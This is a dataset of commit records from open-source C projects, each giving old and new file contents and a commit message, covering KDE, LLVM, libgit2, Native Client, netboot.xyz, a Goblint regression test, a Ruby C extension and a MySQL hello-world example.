{"commit":"b61ed65f563d19845a48554353ce46d79a39d44e","old_file":"kode\/kwsdl\/wsdl\/element.h","new_file":"kode\/kwsdl\/wsdl\/element.h","old_contents":"\/*\n    This file is part of KDE.\n\n    Copyright (c) 2005 Tobias Koenig <tokoe@kde.org>\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public License\n    along with this library; see the file COPYING.LIB.  If not, write to\n    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n    Boston, MA 02110-1301, USA.\n*\/\n\n#ifndef KWSDL_ELEMENT_H\n#define KWSDL_ELEMENT_H\n\n#include <QString>\n\nnamespace KWSDL {\n\nclass Element\n{\n  public:\n    Element();\n    Element( const QString &nameSpace );\n    ~Element();\n\n    void setNameSpace( const QString &nameSpace );\n    QString nameSpace() const;\n\n    void setDocumentation( const QString &documentation );\n    QString documentation() const;\n\n  private:\n    QString mNameSpace;\n    QString mDocumentation;\n};\n\n}\n\n#endif \/\/ KWSDL_ELEMENT_H\n\n","new_contents":"\/*\n    This file is part of KDE.\n\n    Copyright (c) 2005 Tobias Koenig <tokoe@kde.org>\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public License\n    along with this library; see the file COPYING.LIB.  If not, write to\n    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n    Boston, MA 02110-1301, USA.\n*\/\n\n#ifndef KWSDL_ELEMENT_H\n#define KWSDL_ELEMENT_H\n\n#include <QString>\n\n#include <kode_export.h>\n\nnamespace KWSDL {\n\nclass KWSDL_EXPORT Element\n{\n  public:\n    Element();\n    Element( const QString &nameSpace );\n    ~Element();\n\n    void setNameSpace( const QString &nameSpace );\n    QString nameSpace() const;\n\n    void setDocumentation( const QString &documentation );\n    QString documentation() const;\n\n  private:\n    QString mNameSpace;\n    QString mDocumentation;\n};\n\n}\n\n#endif \/\/ KWSDL_ELEMENT_H\n\n","subject":"Fix knode compilation on NetBSD. Patch by Mark Davies, thanks. BUG: 154721","message":"Fix knode compilation on NetBSD.\nPatch by Mark Davies, thanks.\nBUG: 154721\n\nsvn path=\/trunk\/KDE\/kdepim\/; revision=753595\n","lang":"C","license":"lgpl-2.1","repos":"lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi"}
{"commit":"dfeaa08d905e605519683cb85d25976264941d61","old_file":"tests\/regression\/13-privatized\/32-traces-mine-vs-oplus-vs-meet.c","new_file":"tests\/regression\/13-privatized\/32-traces-mine-vs-oplus-vs-meet.c","old_contents":"#include <pthread.h>\n#include <assert.h>\n\nint g = 0;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t C = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&C);\n  pthread_mutex_lock(&B);\n  g = 5;\n  pthread_mutex_unlock(&B);\n  pthread_mutex_lock(&B);\n  g = 0;\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&C);\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  pthread_mutex_lock(&B);\n  pthread_mutex_unlock(&B);\n\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&B);\n  assert(g == 0);\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&A);\n\n  pthread_mutex_lock(&B);\n  pthread_mutex_lock(&C);\n  assert(g == 0);\n  pthread_mutex_unlock(&C);\n  pthread_mutex_unlock(&B);\n\n  pthread_join(id, NULL);\n  return 0;\n}\n","new_contents":"#include <pthread.h>\n#include <assert.h>\n\nint g = 0;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t C = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&C);\n  pthread_mutex_lock(&B);\n  g = 5;\n  pthread_mutex_unlock(&B);\n  pthread_mutex_lock(&B);\n  g = 0;\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&C);\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&B);\n  assert(g == 0);\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&A);\n\n  pthread_mutex_lock(&B);\n  pthread_mutex_lock(&C);\n  assert(g == 0);\n  pthread_mutex_unlock(&C);\n  pthread_mutex_unlock(&B);\n\n  pthread_join(id, NULL);\n  return 0;\n}\n","subject":"Remove now somehow unnecessary empty mutex B section from 13\/32","message":"Remove now somehow unnecessary empty mutex B section from 13\/32\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"163393732a9a781b6b057c39ee6b1e0c96b9d199","old_file":"lib\/Target\/PowerPC\/PPC32JITInfo.h","new_file":"lib\/Target\/PowerPC\/PPC32JITInfo.h","old_contents":"\/\/===- PPC32JITInfo.h - PowerPC\/Darwin JIT interface --------*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains the PowerPC implementation of the TargetJITInfo class.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef POWERPC_DARWIN_JITINFO_H\n#define POWERPC_DARWIN_JITINFO_H\n\n#include \"PowerPCJITInfo.h\"\n\nnamespace llvm {\n  class TargetMachine;\n  class IntrinsicLowering;\n\n  class PPC32JITInfo : public PowerPCJITInfo {\n  public:\n    PPC32JITInfo(TargetMachine &tm) : PowerPCJITInfo(tm) {}\n\n    \/\/\/ replaceMachineCodeForFunction - Make it so that calling the function\n    \/\/\/ whose machine code is at OLD turns into a call to NEW, perhaps by\n    \/\/\/ overwriting OLD with a branch to NEW.  This is used for self-modifying\n    \/\/\/ code.\n    \/\/\/\n    virtual void replaceMachineCodeForFunction(void *Old, void *New);\n  };\n}\n\n#endif\n","new_contents":"\/\/===- PPC32JITInfo.h - PowerPC\/Darwin JIT interface --------*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains the PowerPC implementation of the TargetJITInfo class.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef POWERPC_DARWIN_JITINFO_H\n#define POWERPC_DARWIN_JITINFO_H\n\n#include \"PowerPCJITInfo.h\"\n\nnamespace llvm {\n  class TargetMachine;\n  class IntrinsicLowering;\n\n  class PPC32JITInfo : public PowerPCJITInfo {\n  public:\n    PPC32JITInfo(TargetMachine &tm) : PowerPCJITInfo(tm) {}\n\n    virtual void *emitFunctionStub(void *Fn, MachineCodeEmitter &MCE);\n    virtual LazyResolverFn getLazyResolverFunction(JITCompilerFn);\n    virtual void relocate(void *Function, MachineRelocation *MR,\n                          unsigned NumRelocs);\n\n    \/\/\/ replaceMachineCodeForFunction - Make it so that calling the function\n    \/\/\/ whose machine code is at OLD turns into a call to NEW, perhaps by\n    \/\/\/ overwriting OLD with a branch to NEW.  This is used for self-modifying\n    \/\/\/ code.\n    \/\/\/\n    virtual void replaceMachineCodeForFunction(void *Old, void *New);\n  };\n}\n\n#endif\n","subject":"Implement all of the methods","message":"Implement all of the methods\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@18142 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm"}
{"commit":"1dd166ddec4d0fa72c42101adf4b89d734a332de","old_file":"lib\/lists\/includes\/list_commons.h","new_file":"lib\/lists\/includes\/list_commons.h","old_contents":"","new_contents":"#ifndef _LIBADT_LIST_COMMONS_H\n#define _LIBADT_LIST_COMMONS_H\n\ntypedef void (*t_destroyfunc)(void *data);\n\nenum list_insert_el_mode {\n\tHEAD,\n\tTAIL\n};\n\ntypedef struct _list_root list_root;\n\ntypedef struct _list_node list_node;\n\nstruct _list_node;\n\nstruct _list_root {\n\tint size;\t\t\t\/\/ Size of the list structure.\n\tt_destroyfunc destroyfunc;\n\tlist_node *head;\t\/\/ Position from where we start walking the list.\n\tlist_node *tail;\t\/\/ Last item on the list.\n\tenum list_insert_el_mode mode;\n};\n\n\/*\n * Returns the size of the list.\n *\/\n#define list_size(list) ((list) ->size)\n\n#endif \/* _LIBADT_LIST_COMMONS_H *\/\n","subject":"Rename to reflect the list situation of this header","message":"Rename to reflect the list situation of this header\n","lang":"C","license":"mit","repos":"vndmtrx\/libadt"}
{"commit":"730fae1f1d85b3fbe5c7cc35d89011228e441147","old_file":"lib\/objpipe\/include\/monsoon\/objpipe\/doc_.h","new_file":"lib\/objpipe\/include\/monsoon\/objpipe\/doc_.h","old_contents":"\/\/ Document groups and namespaces.\n\n\/\/\/\\defgroup objpipe Object Pipes.\n\n\/**\n * \\defgroup objpipe_errors Object pipe error handling.\n * \\ingroup objpipe\n *\/\n\n\/**\n * \\defgroup objpipe_detail Object pipe implementation details.\n * \\ingroup objpipe\n *\/\n\nnamespace monsooon {\n\n\/**\n * \\brief Namespace for object pipes.\n *\n * Object pipes are queues that move objects from one context to another.\n * In addition, they allow filtering and transformations.\n * \\ingroup objpipe\n *\/\nnamespace objpipe {\n\n\n\/**\n * \\brief Namespace for object pipe implementation details.\n * \\ingroup objpipe_detail\n *\/\nnamespace detail {\n}}} \/* monsoon::objpipe::detail *\/\n","new_contents":"\/\/ Document groups and namespaces.\n\n\/\/\/\\defgroup objpipe Object Pipes\n\n\/**\n * \\defgroup objpipe_errors Object pipe error handling\n * \\ingroup objpipe\n *\/\n\n\/**\n * \\defgroup objpipe_detail Object pipe implementation details\n * \\ingroup objpipe\n *\/\n\nnamespace monsooon {\n\n\/**\n * \\brief Namespace for object pipes.\n *\n * Object pipes are queues that move objects from one context to another.\n * In addition, they allow filtering and transformations.\n * \\ingroup objpipe\n *\/\nnamespace objpipe {\n\n\n\/**\n * \\brief Namespace for object pipe implementation details.\n * \\ingroup objpipe_detail\n *\/\nnamespace detail {\n}}} \/* monsoon::objpipe::detail *\/\n","subject":"Remove trailing dots in group definitions.","message":"Remove trailing dots in group definitions.\n","lang":"C","license":"bsd-2-clause","repos":"nahratzah\/monsoon_plus_plus,nahratzah\/monsoon_plus_plus,nahratzah\/monsoon_plus_plus"}
{"commit":"25910be18da219c4a5a6cd292e25eb8b1dd147ed","old_file":"ipxe\/local\/general.h","new_file":"ipxe\/local\/general.h","old_contents":"#define DIGEST_CMD            \/* Image crypto digest commands *\/\n#define DOWNLOAD_PROTO_HTTPS  \/* Secure Hypertext Transfer Protocol *\/      \n#define IMAGE_COMBOOT         \/* COMBOOT *\/\n#define NET_PROTO_IPV6        \/* IPv6 protocol *\/\n#define VLAN_CMD              \/* VLAN commands *\/\n","new_contents":"#define DIGEST_CMD            \/* Image crypto digest commands *\/\n#define DOWNLOAD_PROTO_HTTPS  \/* Secure Hypertext Transfer Protocol *\/      \n#define IMAGE_COMBOOT         \/* COMBOOT *\/\n#define IMAGE_TRUST_CMD\t      \/* Image trust management commands *\/\n#define NET_PROTO_IPV6        \/* IPv6 protocol *\/\n#define VLAN_CMD              \/* VLAN commands *\/\n","subject":"Add support for image trust commands","message":"Add support for image trust commands\n","lang":"C","license":"apache-2.0","repos":"antonym\/netboot.xyz,antonym\/netboot.xyz,Dedsec1\/netboot.xyz,antonym\/netboot.xyz,chris18890\/netboot.xyz,chris18890\/netboot.xyz,Dedsec1\/netboot.xyz,Dedsec1\/netboot.xyz"}
{"commit":"d377fe80b1396b82f8af7bfcd76f869410865001","old_file":"tests-clar\/attr\/attr_expect.h","new_file":"tests-clar\/attr\/attr_expect.h","old_contents":"","new_contents":"#ifndef __CLAR_TEST_ATTR_EXPECT__\n#define __CLAR_TEST_ATTR_EXPECT__\n\nenum attr_expect_t {\n\tEXPECT_FALSE,\n\tEXPECT_TRUE,\n\tEXPECT_UNDEFINED,\n\tEXPECT_STRING\n};\n\nstruct attr_expected {\n\tconst char *path;\n\tconst char *attr;\n\tenum attr_expect_t expected;\n\tconst char *expected_str;\n};\n\nstatic inline void attr_check_expected(\n\tenum attr_expect_t expected,\n\tconst char *expected_str,\n\tconst char *value)\n{\n\tswitch (expected) {\n\tcase EXPECT_TRUE:\n\t\tcl_assert(GIT_ATTR_TRUE(value));\n\t\tbreak;\n\n\tcase EXPECT_FALSE:\n\t\tcl_assert(GIT_ATTR_FALSE(value));\n\t\tbreak;\n\n\tcase EXPECT_UNDEFINED:\n\t\tcl_assert(GIT_ATTR_UNSPECIFIED(value));\n\t\tbreak;\n\n\tcase EXPECT_STRING:\n\t\tcl_assert_strequal(expected_str, value);\n\t\tbreak;\n\t}\n}\n\n#endif\n","subject":"Add missing header to test suite","message":"attr: Add missing header to test suite\n","lang":"C","license":"lgpl-2.1","repos":"yongthecoder\/libgit2,mingyaaaa\/libgit2,skabel\/manguse,Aorjoa\/libgit2_maked_lib,zodiac\/libgit2.js,t0xicCode\/libgit2,mingyaaaa\/libgit2,rcorre\/libgit2,yongthecoder\/libgit2,maxiaoqian\/libgit2,t0xicCode\/libgit2,kissthink\/libgit2,oaastest\/libgit2,mrksrm\/Mingijura,swisspol\/DEMO-libgit2,jflesch\/libgit2-mariadb,joshtriplett\/libgit2,sygool\/libgit2,nokiddin\/libgit2,ardumont\/libgit2,since2014\/libgit2,JIghtuse\/libgit2,nacho\/libgit2,oaastest\/libgit2,linquize\/libgit2,mcanthony\/libgit2,Tousiph\/Demo1,mingyaaaa\/libgit2,jeffhostetler\/public_libgit2,stewid\/libgit2,Aorjoa\/libgit2_maked_lib,skabel\/manguse,jflesch\/libgit2-mariadb,swisspol\/DEMO-libgit2,claudelee\/libgit2,ardumont\/libgit2,iankronquist\/libgit2,chiayolin\/libgit2,KTXSoftware\/libgit2,mhp\/libgit2,ardumont\/libgit2,kissthink\/libgit2,mcanthony\/libgit2,oaastest\/libgit2,sim0629\/libgit2,MrHacky\/libgit2,kissthink\/libgit2,jamieleecool\/ptest,JIghtuse\/libgit2,zodiac\/libgit2.js,Corillian\/libgit2,Aorjoa\/libgit2_maked_lib,ardumont\/libgit2,spraints\/libgit2,claudelee\/libgit2,skabel\/manguse,whoisj\/libgit2,oaastest\/libgit2,mingyaaaa\/libgit2,chiayolin\/libgit2,magnus98\/TEST,iankronquist\/libgit2,stewid\/libgit2,dleehr\/libgit2,stewid\/libgit2,amyvmiwei\/libgit2,Snazz2001\/libgit2,Corillian\/libgit2,kenprice\/libgit2,raybrad\/libit2,t0xicCode\/libgit2,swisspol\/DEMO-libgit2,sygool\/libgit2,ardumont\/libgit2,mrksrm\/Mingijura,magnus98\/TEST,zodiac\/libgit2.js,yosefhackmon\/libgit2,mcanthony\/libgit2,rcorre\/libgit2,saurabhsuniljain\/libgit2,dleehr\/libgit2,maxiaoqian\/libgit2,JIghtuse\/libgit2,joshtriplett\/libgit2,amyvmiwei\/libgit2,mrksrm\/Mingijura,claudelee\/libgit2,nacho\/libgit2,jflesch\/libgit2-mariadb,yongthecoder\/libgit2,magnus98\/TEST,claudelee\/libgit2,mcanthony\/libgit2,MrHacky\/libgit2,jamieleecool\/ptest,maxiaoqian\/libgit2,jamieleecool\/ptest,yosefhackmon\/libgit2,falqas\/libgit2,leoyanggit\/libgit2,mcanthony\/libgit2,falqas\/libgit2,MrHacky\/libgit2,mhp\/libgit2,iankronquist\/libgit2,kenprice\/libgit2,oaastest\/libgit2,skabel\/manguse,maxiaoqian\/libgit2,JIghtuse\/libgit2,zodiac\/libgit2.js,kissthink\/libgit2,stewid\/libgit2,Corillian\/libgit2,saurabhsuniljain\/libgit2,swisspol\/DEMO-libgit2,jeffhostetler\/public_libgit2,linquize\/libgit2,Corillian\/libgit2,oaastest\/libgit2,chiayolin\/libgit2,MrHacky\/libgit2,iankronquist\/libgit2,jamieleecool\/ptest,Tousiph\/Demo1,Corillian\/libgit2,kissthink\/libgit2,Snazz2001\/libgit2,spraints\/libgit2,nokiddin\/libgit2,yongthecoder\/libgit2,Tousiph\/Demo1,joshtriplett\/libgit2,since2014\/libgit2,mrksrm\/Mingijura,nokiddin\/libgit2,swisspol\/DEMO-libgit2,chiayolin\/libgit2,chiayolin\/libgit2,Tousiph\/Demo1,falqas\/libgit2,rcorre\/libgit2,evhan\/libgit2,yosefhackmon\/libgit2,jflesch\/libgit2-mariadb,KTXSoftware\/libgit2,raybrad\/libit2,saurabhsuniljain\/libgit2,claudelee\/libgit2,whoisj\/libgit2,JIghtuse\/libgit2,rcorre\/libgit2,mhp\/libgit2,skabel\/manguse,zodiac\/libgit2.js,maxiaoqian\/libgit2,saurabhsuniljain\/libgit2,nokiddin\/libgit2,JIghtuse\/libgit2,whoisj\/libgit2,kenprice\/libgit2,Snazz2001\/libgit2,KTXSoftware\/libgit2,sim0629\/libgit2,Tousiph\/Demo1,spraints\/libgit2,jeffhostetler\/public_libgit2,sygool\/libgit2,yongthecoder\/libgit2,since2014\/libgit2,skabel\/manguse,Tousiph\/Demo1,raybrad\/libit2,MrHacky\/libgit2,Corillian\/libgit2,jeffhostetler\/public_libgit2,maxiaoqian\/libgit2,jeffhostetler\/public_libgit2,kenprice\/libgit2,spraints\/libgit2,spraints\/libgit2,KTXSoftware\/libgit2,mcanthony\/libgit2,saurabhsuniljain\/libgit2,t0xicCode\/libgit2,joshtriplett\/libgit2,dleehr\/libgit2,MrHacky\/libgit2,since2014\/libgit2,yosefhackmon\/libgit2,Snazz2001\/libgit2,joshtriplett\/libgit2,evhan\/libgit2,claudelee\/libgit2,stewid\/libgit2,nacho\/libgit2,magnus98\/TEST,saurabhsuniljain\/libgit2,mingyaaaa\/libgit2,chiayolin\/libgit2,kenprice\/libgit2,leoyanggit\/libgit2,amyvmiwei\/libgit2,amyvmiwei\/libgit2,mhp\/libgit2,mingyaaaa\/libgit2,stewid\/libgit2,whoisj\/libgit2,sim0629\/libgit2,mrksrm\/Mingijura,rcorre\/libgit2,since2014\/libgit2,leoyanggit\/libgit2,yosefhackmon\/libgit2,sim0629\/libgit2,linquize\/libgit2,KTXSoftware\/libgit2,yosefhackmon\/libgit2,KTXSoftware\/libgit2,amyvmiwei\/libgit2,jeffhostetler\/public_libgit2,dleehr\/libgit2,Aorjoa\/libgit2_maked_lib,Snazz2001\/libgit2,raybrad\/libit2,magnus98\/TEST,iankronquist\/libgit2,linquize\/libgit2,leoyanggit\/libgit2,sygool\/libgit2,falqas\/libgit2,Aorjoa\/libgit2_maked_lib,leoyanggit\/libgit2,sim0629\/libgit2,since2014\/libgit2,sygool\/libgit2,t0xicCode\/libgit2,nacho\/libgit2,mrksrm\/Mingijura,Snazz2001\/libgit2,kissthink\/libgit2,swisspol\/DEMO-libgit2,jflesch\/libgit2-mariadb,nokiddin\/libgit2,magnus98\/TEST,nokiddin\/libgit2,whoisj\/libgit2,leoyanggit\/libgit2,kenprice\/libgit2,sygool\/libgit2,evhan\/libgit2,rcorre\/libgit2,spraints\/libgit2,whoisj\/libgit2,mhp\/libgit2,mhp\/libgit2,linquize\/libgit2,joshtriplett\/libgit2,dleehr\/libgit2,dleehr\/libgit2,yongthecoder\/libgit2,amyvmiwei\/libgit2,linquize\/libgit2,t0xicCode\/libgit2,evhan\/libgit2,ardumont\/libgit2,falqas\/libgit2,jflesch\/libgit2-mariadb,falqas\/libgit2,raybrad\/libit2,iankronquist\/libgit2,sim0629\/libgit2"}
{"commit":"8b013deb4e9cd4130ece436909878b7ec7d90a60","old_file":"src\/shared\/platform\/win\/nacl_exit.c","new_file":"src\/shared\/platform\/win\/nacl_exit.c","old_contents":"\/*\n * Copyright 2011 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can\n * be found in the LICENSE file.\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n\n#include \"native_client\/src\/include\/portability.h\"\n#include \"native_client\/src\/shared\/platform\/nacl_exit.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/nacl_signal.h\"\n\n\nvoid NaClAbort(void) {\n  NaClExit(-SIGABRT);\n}\n\nvoid NaClExit(int err_code) {\n#ifdef COVERAGE\n  \/* Give coverage runs a chance to flush coverage data *\/\n  exit(err_code);\n#else\n  \/* If the process is scheduled for termination, wait for it.*\/\n  if (TerminateProcess(GetCurrentProcess(), err_code)) {\n    printf(\"Terminate passed, but returned.\\n\");\n    while(1);\n  }\n  printf(\"Terminate failed with %d.\\n\", GetLastError());\n\n  \/* Otherwise use the standard C process exit to bybass destructors. *\/\n  ExitProcess(err_code);\n#endif\n}\n\n","new_contents":"\/*\n * Copyright (c) 2011 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * be found in the LICENSE file.\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n\n#include \"native_client\/src\/include\/portability.h\"\n#include \"native_client\/src\/shared\/platform\/nacl_exit.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/nacl_signal.h\"\n\n\nvoid NaClAbort(void) {\n  NaClExit(-SIGABRT);\n}\n\nvoid NaClExit(int err_code) {\n#ifdef COVERAGE\n  \/* Give coverage runs a chance to flush coverage data *\/\n  exit(err_code);\n#else\n  \/* If the process is scheduled for termination, wait for it.*\/\n  if (TerminateProcess(GetCurrentProcess(), err_code)) {\n    while(1);\n  }\n\n  \/* Otherwise use the standard C process exit to bybass destructors. *\/\n  ExitProcess(err_code);\n#endif\n}\n\n","subject":"Remove printfs in exit path","message":"Remove printfs in exit path\n\nDue to failures in Win7Atom I added printfs for debugging.  This CL removes the printfs which should\nnot be in the shipping code.\n\nTEST= all\nBUG= nacl1561\nReview URL: http:\/\/codereview.chromium.org\/6825057\n\ngit-svn-id: 721b910a23eff8a86f00c8fd261a7587cddf18f8@4846 fcba33aa-ac0c-11dd-b9e7-8d5594d729c2\n","lang":"C","license":"bsd-3-clause","repos":"nacl-webkit\/native_client,sbc100\/native_client,sbc100\/native_client,nacl-webkit\/native_client,sbc100\/native_client,nacl-webkit\/native_client,sbc100\/native_client,nacl-webkit\/native_client,sbc100\/native_client,sbc100\/native_client,nacl-webkit\/native_client"}
{"commit":"f31ae20e998e8a456632cc3e96ba20c9e7ae1b12","old_file":"ext\/fancy_math.c","new_file":"ext\/fancy_math.c","old_contents":"","new_contents":"#include <ruby.h>\n#include \"add.h\"\n\nstatic VALUE call_add(VALUE rb_self, VALUE rb_a, VALUE rb_b) {\n  \/\/ Convert ruby values to C integers\n  int a = FIX2INT(rb_a);\n  int b = FIX2INT(rb_b);\n\n  \/\/ Call C function\n  int result = add(a, b);\n\n  \/\/ Convert C integer into ruby value and return it\n  VALUE rb_result = INT2FIX(result);\n  return rb_result;\n}\n\n\/\/ Function must be named Init_<gem name>\"\nint Init_fancy_math() {\n  \/\/ Create new module to contain our method\n  VALUE rb_module = rb_define_module(\"FancyMath\");\n\n  \/\/ Add the C method to the FancyMath module\n  rb_define_module_function(rb_module, \"add\", call_add, 2);\n\n  \/\/ Initialization complete and successful\n  return 0;\n}\n","subject":"Create core FancyMath module and add hooks for ruby to access the C logic","message":"Create core FancyMath module and add hooks for ruby to access the C logic\n","lang":"C","license":"mit","repos":"drosholt\/fancy_math,drosholt\/fancy_math,drosholt\/fancy_math,drosholt\/fancy_math"}
{"commit":"ac39ed3a80fd71af70de0222a9dd1545f4d59dea","old_file":"implementation\/Cuda\/lbm_sailfish_hist\/sim.h","new_file":"implementation\/Cuda\/lbm_sailfish_hist\/sim.h","old_contents":"#ifndef __SIM_H_\n#define __SIM_H_ 1\n\n#define GEO_FLUID 0\n#define GEO_WALL 1\n#define GEO_INFLOW 2\n\n#define LAT_H 180\n#define LAT_W 420\n#define BLOCK_SIZE 64\n\nstruct Dist {\n\tfloat *fC, *fE, *fW, *fS, *fN, *fSE, *fSW, *fNE, *fNW;\n};\n\nstruct SimState {\n\tint *map, *dmap;\n\n\t\/\/ macroscopic quantities on the video card\n\tfloat *dvx, *dvy, *drho;\n\n\t\/\/ macroscopic quantities in RAM\n\tfloat *vx, *vy, *rho;\n\n\tfloat *lat[9];\n\tDist d1, d2;\n};\n\nvoid SimInit(struct SimState *state);\nvoid SimCleanup(struct SimState *state);\nvoid SimUpdate(int iter, struct SimState state);\nvoid SimUpdateMap(struct SimState state);\n\n#endif  \/* __SIM_H_ *\/\n","new_contents":"#ifndef __SIM_H_\n#define __SIM_H_ 1\n\n#define GEO_FLUID 0\n#define GEO_WALL 1\n#define GEO_INFLOW 2\n\n#define LAT_H 180\n#define LAT_W 420\n#define BLOCK_SIZE 64\n\n#ifdef USE_FLOATS\n#define double float\n#define __dadd_rn __fadd_rn\n#define __dmul_rn __fmul_rn\n#else\n#define float double\n#define __fadd_rn __dadd_rn\n#define __fmul_rn __dmul_rn\n#endif\n\nstruct Dist {\n\tfloat *fC, *fE, *fW, *fS, *fN, *fSE, *fSW, *fNE, *fNW;\n};\n\nstruct SimState {\n\tint *map, *dmap;\n\n\t\/\/ macroscopic quantities on the video card\n\tfloat *dvx, *dvy, *drho;\n\n\t\/\/ macroscopic quantities in RAM\n\tfloat *vx, *vy, *rho;\n\n\tfloat *lat[9];\n\tDist d1, d2;\n};\n\nvoid SimInit(struct SimState *state);\nvoid SimCleanup(struct SimState *state);\nvoid SimUpdate(int iter, struct SimState state);\nvoid SimUpdateMap(struct SimState state);\n\n#endif  \/* __SIM_H_ *\/\n","subject":"Use doubles instead of floats ny default","message":"Use doubles instead of floats ny default\n","lang":"C","license":"mit","repos":"Dwii\/Master-Thesis,Dwii\/Master-Thesis,Dwii\/Master-Thesis,Dwii\/Master-Thesis,Dwii\/Master-Thesis,Dwii\/Master-Thesis,Dwii\/Master-Thesis"}
{"commit":"edef395077a75fd7137031a3ab83f8d1118dbb51","old_file":"MySQL\/HelloWorld\/src\/mysql-c-api.c","new_file":"MySQL\/HelloWorld\/src\/mysql-c-api.c","old_contents":"","new_contents":"\/* http:\/\/zetcode.com\/db\/mysqlc\/ *\/\n\/* http:\/\/www.cyberciti.biz\/tips\/linux-unix-connect-mysql-c-api-program.html *\/\n\n#include <mysql.h>\n#include <stdio.h>\n\nmain(){\n\n   MYSQL *conn;\n   MYSQL_RES *res;\n   MYSQL_ROW row;\n   char *server = \"localhost\";\n   char *user = \"sa\";\n   char *password = \"developsa\"; \/* set me first *\/\n   char *database = \"mysql\";\n   conn = mysql_init(NULL);\n\n   \/* Connect to database *\/\n   if (!mysql_real_connect(conn, server,\n         user, password, database, 0, NULL, 0)) {\n      fprintf(stderr, \"%s\\n\", mysql_error(conn));\n      exit(1);\n   }\n\n   \/* send SQL query *\/\n   if (mysql_query(conn, \"show tables\")) {\n      fprintf(stderr, \"%s\\n\", mysql_error(conn));\n      exit(1);\n   }\n\n   res = mysql_use_result(conn);\n\n   \/* output table name *\/\n   printf(\"MySQL Tables in mysql database:\\n\");\n   while ((row = mysql_fetch_row(res)) != NULL)\n      printf(\"%s \\n\", row[0]);\n\n   \/* close connection *\/\n   mysql_free_result(res);\n   mysql_close(conn);\n\n}","subject":"Add C 'Hello World' for connect to MySQL","message":"Add C 'Hello World' for connect to MySQL\n","lang":"C","license":"mit","repos":"xatienza\/c-labs"}
